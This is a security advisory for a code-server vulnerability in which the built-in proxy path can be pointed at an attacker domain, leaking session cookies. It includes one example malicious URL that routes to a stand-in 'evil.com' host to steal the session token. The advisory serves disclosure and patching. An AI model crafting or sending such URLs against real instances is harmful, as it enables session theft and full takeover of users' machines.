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GHSA-p483-wpfp-42cj
No affected components available
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is moderate. The vulnerability is likely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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